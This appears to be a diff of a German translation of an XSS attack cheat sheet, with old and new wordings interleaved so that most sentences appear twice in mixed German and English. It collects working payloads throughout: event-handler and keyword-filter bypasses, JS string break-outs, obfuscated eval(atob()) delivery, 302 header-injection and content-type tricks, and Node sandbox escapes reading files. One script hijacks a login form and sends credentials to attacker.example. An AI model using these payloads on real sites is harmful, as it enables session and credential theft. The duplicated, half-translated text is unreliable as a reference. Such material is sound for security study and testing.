Wenn du jede beliebige URL in ein beliebiges **`<a href=`**-Tag injizieren kannst, das die Attribute **`target="_blank" and rel="opener"`** enthält, sieh dir die **folgende Seite an, um dieses Verhalten auszunutzen**:
Wenn du eine beliebige URL in einem beliebigen **`<a href=`**-Tag injizieren kannst, das die Attribute **`target="_blank" and rel="opener"`** enthält, siehe die **folgende Seite, um dieses Verhalten auszunutzen**:
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### Bypass von on-Event-Handlern
### on Event Handlers Bypass
Prüfe zuerst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) nach nützlichen **"on" event handlers**.\
Falls eine Blacklist dich daran hindert, diese on-Event-Handler zu erstellen, kannst du die folgenden Bypässe versuchen:
Prüfe zuerst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) auf nützliche **"on" event handlers**.\
Falls eine Blacklist das Erstellen dieser event handlers verhindert, kannst du die folgenden Bypasses versuchen:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -409,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS in „Nicht ausnutzbare Tags“ (hidden input, link, canonical, meta)
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
Von [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es nun möglich, hidden inputs wie folgt zu missbrauchen:**
Aus [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es jetzt möglich, hidden inputs mit:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
Und in **Meta-Tags**:
Und in **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -430,15 +430,15 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Aus [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Du kannst eine **XSS payload inside a hidden attribute** ausführen, vorausgesetzt du kannst das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox auf Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und auf OS X **CTRL+ALT+X**. Du kannst eine andere Tastenkombination angeben, indem du eine andere Taste im access key attribute verwendest. Hier ist der Vektor:
Von [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS payload inside a hidden attribute** ausführen, vorausgesetzt, Sie können **persuade** **victim** dazu bringen, die **key combination** zu drücken. Unter Firefox auf Windows/Linux ist die **key combination** **ALT+SHIFT+X** und unter OS X ist sie **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie einen anderen Schlüssel im access key attribute verwenden. Hier ist der Vektor:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Die XSS payload wird ungefähr so aussehen: `" accesskey="x" onclick="alert(1)" x="`**
**Das XSS payload wird in etwa so aussehen: `" accesskey="x" onclick="alert(1)" x="`**
### Blacklist Bypasses
Mehrere Tricks mit unterschiedlichen encodings wurden bereits in diesem Abschnitt aufgezeigt. Gehe **zurück, um zu lernen, wo du verwenden kannst:**
Mehrere Tricks mit verschiedenen Encodings wurden bereits in diesem Abschnitt gezeigt. Geh **zurück, um zu lernen, wo du verwenden kannst:**
- **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@ -448,47 +448,47 @@ Mehrere Tricks mit unterschiedlichen encodings wurden bereits in diesem Abschnit
**Bypasses for HTML tags and attributes**
Siehe die [Blacklist Bypasses der vorherigen Sektion](#blacklist-bypasses).
Lies die[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
**Bypasses for JavaScript code**
Siehe die J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
Lies die J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Wenn du ein **XSS in einem sehr kleinen Bereich** der Seite gefunden hast, das irgendeine Art von Interaktion benötigt (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, den **Platz, den dieses Element einnimmt, zu verändern**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
Wenn du ein **XSS in einem sehr kleinen Teil** der Webseite findest, der eine Art Interaktion erfordert (z. B. ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, **den Platz, den das Element einnimmt, zu verändern**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
Zum Beispiel könntest du dem Element etwas Styling hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Wenn der WAF jedoch das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden. Wenn du z.B. findest
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
> .test {display:block; color: blue; width: 100%\}
und
and
> \#someid {top: 0; font-family: Tahoma;}
kannst du jetzt unseren Link modifizieren und in die Form bringen
Now you can modify our link and bring it to the form
> \<a href="" id=someid class=test onclick=alert() a="">
Dieser Trick wurde von [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) übernommen.
Dieser Trick stammt von [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Injecting inside JavaScript code
In diesen Fällen wird dein **input** innerhalb des JS-Codes eines `.js`-Files oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
In diesem Fall wird dein **input** innerhalb des JS-Codes eines `.js` file oder zwischen `<script>...</script>` tags oder zwischen HTML events, die JS code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, reflektiert.
### Escaping \<script> tag
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, kannst du leicht das **Schließen des `<script>`-Tags escapen**:
If your code is inserted within `<script> [...] var input = 'reflected data' [...] </script>` you could easily **escape closing the `<script>`** tag:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Beachte, dass wir in diesem Beispiel **haven't even closed the single quote**. Das liegt daran, dass **HTML parsing is performed first by the browser**, wobei Seiten-Elemente identifiziert werden, einschließlich Script-Blöcken. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.
Beachte, dass in diesem Beispiel wir **das einfache Anführungszeichen nicht einmal geschlossen haben**. Das liegt daran, dass **HTML parsing zuerst vom browser durchgeführt wird**, was das Identifizieren von Seitenelementen einschließt, einschließlich script-Blöcken. Das Parsen von JavaScript, um die eingebetteten scripts zu verstehen und auszuführen, erfolgt erst danach.
### Innerhalb von JS-Code
### Innerhalb von JS Code
Wenn `<>` sanitised werden, kannst du trotzdem **escape the string** an der Stelle, wo deine Eingabe **located** ist, und **execute arbitrary JS**. Es ist wichtig, die **fix JS syntax**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt:
Wenn `<>` bereinigt werden, kannst du dennoch an der Stelle, an der deine Eingabe **located** ist, die **escape the string** durchführen und beliebiges **execute arbitrary JS** ausführen. Es ist wichtig, die **fix JS syntax** durchzuführen, denn wenn Fehler vorhanden sind, wird der JS code nicht ausgeführt:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -496,7 +496,7 @@ Wenn `<>` sanitised werden, kannst du trotzdem **escape the string** an der Stel
```
#### JS-in-JS string break → inject → repair pattern
Wenn Benutzereingaben in einen in Anführungszeichen stehenden JavaScript-String gelangen (z. B. server-side echo in ein inline script), kannst du den String terminieren, Code injecten und die Syntax reparieren, damit das Parsing gültig bleibt. Generisches Gerüst:
Wenn user input innerhalb eines quoted JavaScript string landet (z. B. server-side echo in einem inline script), kannst du die Zeichenkette beenden, code injecten und die syntax reparieren, damit das Parsing weiterhin gültig ist. Generisches Gerüst:
```
" // end original string
; // safely terminate the statement
@ -507,14 +507,14 @@ Beispiel-URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektie
```
?param=test";<INJECTION>;a="
```
Dies führt attacker JS aus, ohne den HTML-Kontext zu berühren (reines JS-in-JS). Kombiniere es mit den untenstehenden blacklist bypasses, wenn Filter keywords blockieren.
Dies führt angreiferseitigen JS-Code aus, ohne den HTML-Kontext anfassen zu müssen (pure JS-in-JS). Kombiniere es mit den unten stehenden blacklist bypasses, wenn Filter Keywords blockieren.
### Template literals ``
Um **strings** zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch **backticks** **` `` `**. Das ist als template literals bekannt, da sie die Einbettung von **JS expressions** mithilfe der `${ ... }`-Syntax erlauben.\
Wenn du feststellst, dass deine Eingabe innerhalb eines JS-Strings, der backticks verwendet, **reflektiert** wird, kannst du die Syntax `${ ... }` missbrauchen, um **arbitrary JS code** auszuführen:
Um **strings** zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch **backticks** **` `` `**. Das wird als template literals bezeichnet, da sie die Verwendung von **embedded JS expressions** mit der `${ ... }`-Syntax erlauben.\
Wenn deine Eingabe also in einer JS string, die backticks verwendet, **reflected** wird, kannst du die `${ ... }`-Syntax ausnutzen, um **arbitrary JS code** auszuführen:
Dies kann **missbraucht** werden mit:
Das kann **ausgenutzt** werden mit:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -526,27 +526,27 @@ return loop
}
loop``
```
### Kodierte Codeausführung
### Kodierte code execution
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
#### Auslieferbare payloads mit eval(atob()) und scope-Nuancen
#### Lieferbare payloads mit eval(atob()) und Scope-Nuancen
Um URLs kürzer zu halten und naive keyword filters zu umgehen, kannst du deine eigentliche Logik base64-encode und mit `eval(atob('...'))` ausführen. Wenn einfache keyword filters Bezeichner wie `alert`, `eval` oder `atob` blockieren, verwende Unicode-escaped Bezeichner, die im Browser identisch kompiliert werden, aber string-matching filters umgehen:
Um URLs kürzer zu halten und naive Keyword-Filter zu umgehen, kannst du deine eigentliche Logik base64-kodieren und mit `eval(atob('...'))` ausführen. Wenn einfache Keyword-Filter Bezeichner wie `alert`, `eval` oder `atob` blockieren, verwende Unicode-Escape-Bezeichner, die im Browser identisch kompiliert werden, aber stringbasierte Filter umgehen:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
Wichtiger Scoping-Hinweis: `const`/`let`, die innerhalb von `eval()` deklariert werden, sind block-scoped und erzeugen KEINE globals; sie sind für spätere scripts nicht zugänglich. Verwende ein dynamisch injiziertes `<script>`-Element, um bei Bedarf global, non-rebindable hooks zu definieren (z. B., to hijack a form handler):
Wichtiger Hinweis zum Scoping: Innerhalb von `eval()` deklarierte `const`/`let` sind blockgebunden und erzeugen KEINE globalen Variablen; sie sind für nachfolgende Skripte nicht zugänglich. Verwende ein dynamisch eingefügtes `<script>`-Element, um bei Bedarf globale, nicht überschreibbare Hooks zu definieren (e.g., to hijack a form handler):
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
```
Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Referenz: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Unicode-kodierte JS-Ausführung
```javascript
@ -554,7 +554,7 @@ alert(1)
alert(1)
alert(1)
```
### JavaScript-Techniken zum Umgehen von Blacklists
### JavaScript-Bypass-Blacklist-Techniken
**Strings**
```javascript
@ -587,7 +587,7 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**Leerzeichen-Ersetzungen innerhalb von JS-Code**
**Leerzeichen-Substitutionen innerhalb von JS-Code**
```javascript
<TAB>
/**/
@ -600,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript Zeilenumbrüche (aus dem** [**JavaScript new line**](#javascript-new-lines) **Trick)**
**JavaScript new lines (vom** [**JavaScript new line**](#javascript-new-lines) **Trick)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -775,47 +775,58 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
```
## **DOM-Schwachstellen**
## **DOM vulnerabilities**
Es gibt **JS-Code**, der **unsichere, vom Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
**Aufgrund der ausführlicheren Erklärung von** [**DOM vulnerabilities wurde auf diese Seite verschoben**](dom-xss.md)**:**
There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
**Aufgrund der Ausführlichkeit der Erklärung von** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Dort findest du eine detaillierte **Erklärung, was DOM vulnerabilities sind, wie sie ausgelöst werden und wie man sie ausnutzt**.\
Außerdem, vergiss nicht, dass **am Ende des genannten Beitrags** eine Erklärung zu [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) zu finden ist.
Dort findest du eine detaillierte **Erklärung dessen, was DOM vulnerabilities sind, wie sie provoziert werden und wie man sie ausnutzt**.\
Außerdem solltest du nicht vergessen, dass **am Ende des genannten Beitrags** eine Erklärung zu [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) zu finden ist.
### Self-XSS aufwerten
### Upgrading Self-XSS
### Cookie XSS
Wenn du eine XSS auslösen kannst, indem du die Payload in einem Cookie sendest, ist das normalerweise ein self-XSS. Wenn du jedoch eine **verwundbare Subdomain für XSS** findest, könntest du diese XSS dazu missbrauchen, ein Cookie für die gesamte Domain zu injizieren und so die Cookie XSS in der Hauptdomain oder anderen Subdomains (denen, die für Cookie XSS verwundbar sind) auszulösen. Dafür kannst du den cookie tossing attack verwenden:
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
Ein großartiges Beispiel für den Missbrauch dieser Technik findest du in [**diesem Blogpost**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Deine Session an den Admin senden
### Sending your session to the admin
Vielleicht kann ein Benutzer sein Profil mit dem Admin teilen. Wenn sich die self-XSS im Profil des Nutzers befindet und der Admin es aufruft, wird die Schwachstelle ausgelöst.
Vielleicht kann ein user sein Profil mit dem admin teilen, und wenn der self XSS im Profil des users steckt und der admin darauf zugreift, löst er die Verwundbarkeit aus.
### Session Mirroring
Wenn du ein self-XSS findest und die Webseite ein **session mirroring für Administratoren** hat, z. B. Clients erlaubt, um Hilfe zu bitten, und damit der Admin dir helfen kann, sieht er, was du in deiner Session siehst, aber aus seiner Session.
If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
Du könntest den **Administrator dazu bringen, dein self-XSS auszulösen** und seine Cookies/Session zu stehlen.
Du könntest den **Administrator dazu bringen, deinen self XSS auszulösen** und so seine Cookies/Sitzung stehlen.
## Andere Bypasses
## Other Bypasses
### Normalisierte Unicode
### Bypassing sanitization via WASM linear-memory template overwrite
Du könntest prüfen, ob die **reflektierten Werte** auf dem Server (oder clientseitig) **unicode-normalisiert** werden und diese Funktionalität ausnutzen, um Schutzmechanismen zu umgehen. [**Ein Beispiel findest du hier**](../unicode-injection/index.html#xss-cross-site-scripting).
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "<article><p>%.*s</p></article>" to "<img src=1 onerror=%.*s>" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Siehe die dedizierte Seite mit Exploitation-Workflow, DevTools memory helpers und Gegenmaßnahmen:
{{#ref}}
wasm-linear-memory-template-overwrite-xss.md
{{#endref}}
### Normalised Unicode
Du könntest prüfen, ob die **reflected values** auf dem Server (oder clientseitig) **unicode normalized** werden und diese Funktionalität ausnutzen, um Schutzmechanismen zu umgehen. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -823,12 +834,12 @@ Du könntest prüfen, ob die **reflektierten Werte** auf dem Server (oder client
```
### Ruby-On-Rails bypass
Aufgrund von **RoR mass assignment** werden Anführungszeichen in das HTML eingefügt, wodurch die Einschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
Formularbeispiel ([from this report](https://hackerone.com/reports/709336)), wenn du das payload sendest:
Aufgrund von **RoR mass assignment** werden Anführungszeichen in das HTML eingefügt, wodurch die Beschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
Formularbeispiel ([from this report](https://hackerone.com/reports/709336)), wenn du die Payload sendest:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Das Paar "Key","Value" wird wie folgt zurückgegeben:
Das Paar "Key","Value" wird so zurückgegeben:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -864,24 +875,24 @@ Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS mit Header-Injektion in einer 302-Antwort
### XSS mit Header-Injection in einer 302 Redirect-Antwort
Wenn du feststellst, dass du **Header in eine 302 Redirect-Antwort injizieren** kannst, könntest du versuchen, den Browser dazu zu bringen, beliebiges JavaScript **auszuführen**. Das ist **nicht trivial**, da moderne Browser den HTTP-Antwort-Body nicht interpretieren, wenn der HTTP-Statuscode 302 ist, daher ist ein einfaches cross-site scripting-Payload nutzlos.
Wenn du feststellst, dass du **Header in einer 302 Redirect-Antwort injizieren kannst**, könntest du versuchen, **den Browser dazu zu bringen, beliebiges JavaScript auszuführen**. Das ist **nicht trivial**, da moderne Browser den HTTP-Response-Body bei einem HTTP-Statuscode 302 nicht interpretieren — daher ist ein einfaches cross-site scripting payload nutzlos.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen kannst, ob eines davon dem Browser erlaubt, das XSS-Payload im Body zu inspizieren und auszuführen.
Früher bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
In [**this report**](https://www.gremwell.com/firefox-xss-302) und [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen kannst, ob eines davon dem Browser erlaubt, das XSS-Payload im Body zu untersuchen und auszuführen.\
Bisher bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### Nur Buchstaben, Zahlen und Punkte
Wenn du den **callback** angeben kannst, den JavaScript ausführen wird, und dieser auf diese Zeichen beschränkt ist. [**Read this section of this post**](#javascript-function) um zu erfahren, wie man dieses Verhalten ausnutzt.
Wenn du den **callback** angeben kannst, den JavaScript ausführen wird, und dieser auf diese Zeichen (Buchstaben, Zahlen und Punkte) beschränkt ist. [**Lies diesen Abschnitt dieses Beitrags**](#javascript-function), um zu erfahren, wie man dieses Verhalten ausnutzt.
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Wenn du versuchst, ein Script mit einem **content-type** wie `application/octet-stream` zu laden, wird Chrome folgenden Fehler ausgeben:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Die einzigen **Content-Type**s, die Chrome unterstützen, ein **geladenes script** auszuführen, sind die in der const **`kSupportedJavascriptTypes`** aus [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Die einzigen **Content-Type**s, die Chrome das Ausführen eines **geladenen Scripts** erlauben, sind diejenigen, die in der const **`kSupportedJavascriptTypes`** aus [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) aufgeführt sind.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -903,14 +914,16 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### Script-Typen für XSS
### Script Types to XSS
(Aus [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Welche Typen könnten also angegeben werden, um ein Script zu laden?
(Aus [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Also, welche Typen könnten angegeben werden, um ein Script zu laden?
```html
<script type="???"></script>
```
Die Antwort lautet:
- **module** (Standard, nichts zu erklären)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der du eine Menge Daten (HTML, CSS, JS…) zusammen in eine **`.wbn`**-Datei packen kannst.
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der man eine Menge Daten (HTML, CSS, JS…) zusammen in eine **`.wbn`**-Datei packen kann.
```html
<script type="webbundle">
{
@ -920,7 +933,7 @@ const char* const kSupportedJavascriptTypes[] = {
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
- [**importmap**](https://github.com/WICG/import-maps)**:** Ermöglicht die Verbesserung der import-Syntax
- [**importmap**](https://github.com/WICG/import-maps)**:** Ermöglicht die Verbesserung der Import-Syntax
```html
<script type="importmap">
{
@ -937,9 +950,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzuleiten, deren Missbrauch XSS auslösen kann.
Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzuleiten — durch Ausnutzung kann dadurch XSS ausgelöst werden.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich dazu, einige durch pre-rendering verursachte Probleme zu lösen. Sie funktioniert folgendermaßen:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich dazu, einige Probleme zu lösen, die durch Pre-Rendering verursacht werden. Sie funktioniert so:
```html
<script type="speculationrules">
{
@ -955,9 +968,9 @@ Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/
}
</script>
```
### Web Content-Types für XSS
### Web Content-Types to XSS
(Quelle: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die folgenden Content-Types können in allen Browsern XSS ausführen:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die folgenden Content-Types können in allen Browsern XSS ausführen:
- text/html
- application/xhtml+xml
@ -968,11 +981,11 @@ Dieses Verhalten wurde in [**this writeup**](https://github.com/zwade/yaca/tree/
- application/rss+xml (off)
- application/atom+xml (off)
In anderen Browsern können andere **`Content-Types`** verwendet werden, um beliebiges JS auszuführen. Siehe: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
In anderen Browsern können andere **`Content-Types`** verwendet werden, um beliebiges JS auszuführen, siehe: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
Wenn die Seite einen text/xml Content-Type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen:
Wenn die Seite einen text/xml content-type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -982,9 +995,9 @@ Wenn die Seite einen text/xml Content-Type zurückgibt, ist es möglich, einen N
```
### Spezielle Ersetzungsmuster
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) benutzen, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird, könnte ein Angreifer [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) nutzen, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Zum Beispiel wurde dies in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) verwendet, um einen JSON-String innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
Zum Beispiel wurde in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String zu escapen** innerhalb eines Scripts und beliebigen Code auszuführen.
### Chrome Cache to XSS
@ -1026,22 +1039,22 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Wenn vor der Ausführung von untrusted code **everything is undefined** (wie in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu erzeugen, um die Ausführung von arbitrary untrusted code zu missbrauchen:
Wenn vor der Ausführung von nicht vertrauenswürdigem Code **alles undefined** ist (wie in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte „aus dem Nichts“ zu erzeugen, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:
- Verwendung von import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Accessing `require` indirectly
- Indirekter Zugriff auf `require`
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion eingeschlossen, wie folgt:
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js in eine Funktion eingebettet, wie folgt:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
Daher, wenn wir von diesem Modul aus **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
Daher, wenn wir aus diesem Modul eine **andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` in dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1050,7 +1063,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **Error-Handler** zu verwenden, um auf den **Wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten:
In ähnlicher Weise wie im vorherigen Beispiel ist es möglich, **error handlers zu verwenden**, um auf den **wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten:
```javascript
try {
null.f()
